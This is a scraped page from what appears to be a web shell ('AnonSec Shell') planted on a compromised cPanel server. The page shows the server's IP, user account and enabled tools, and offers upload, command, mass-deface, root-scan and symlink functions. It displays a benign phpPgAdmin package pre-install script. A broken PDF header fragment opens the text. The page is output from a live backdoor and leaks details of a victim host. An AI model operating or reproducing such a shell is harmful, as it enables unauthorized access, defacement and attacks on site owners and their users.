%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.217.172   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/public_html/images/product/anon_sym/anon/var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/public_html/images/product/anon_sym/anon/var/lib/dpkg/info/cpanel-phppgadmin.preinst
#!/bin/sh

set -e

## <asset scriplets/pre>


set -e

USER=cpanelphppgadmin
GROUP=$USER
CPPA=/var/cpanel/userhomes/cpanelphppgadmin

PREFIX_BASE=/usr/local/cpanel/base/3rdparty
PREFIX=${PREFIX_BASE}/phpMyAdmin

checkUser() {
    echo "check $USER user"

    # add group
    /usr/bin/getent group $GROUP >/dev/null || \
        /usr/sbin/groupadd -r $GROUP

    # add user if needed
    /usr/bin/getent passwd $USER >/dev/null || \
        /usr/sbin/useradd -r -g $GROUP -M -d /var/cpanel/userhomes/$USER \
            -s /usr/local/cpanel/bin/noshell \
            -c "phpPgAdmin for cPanel & WHM" $USER
}


checkPerms() {
    echo "Check directories permissions"

    # ensure directories, perms & ownership
    #`  required for Ubuntu, not necessary for CentOS
    /bin/mkdir -p $CPPA
    chmod 711 $CPPA
    chown $USER:$GROUP $CPPA

    /bin/mkdir -p $CPPA/cache
    chmod 700 $CPPA/cache
    chown $USER:$GROUP $CPPA/cache

    /bin/mkdir -p $CPPA/mail
    chmod 711 $CPPA/mail
    chown $USER:$GROUP $CPPA/mail

    /bin/mkdir -p $CPPA/sessions
    chmod 700 $CPPA/sessions
    chown $USER:$GROUP $CPPA/sessions

    /bin/mkdir -p $CPPA/tmp
    chmod 700 $CPPA/tmp
    chown $USER:$GROUP $CPPA/tmp

}

runPre() {
    checkUser;
    checkPerms;
}

## </asset>


case "$1" in
  install)
    runPre;
    ;;
  upgrade)
    runPre;
    ;;
esac

exit 0

Anon7 - 2022
AnonSec Team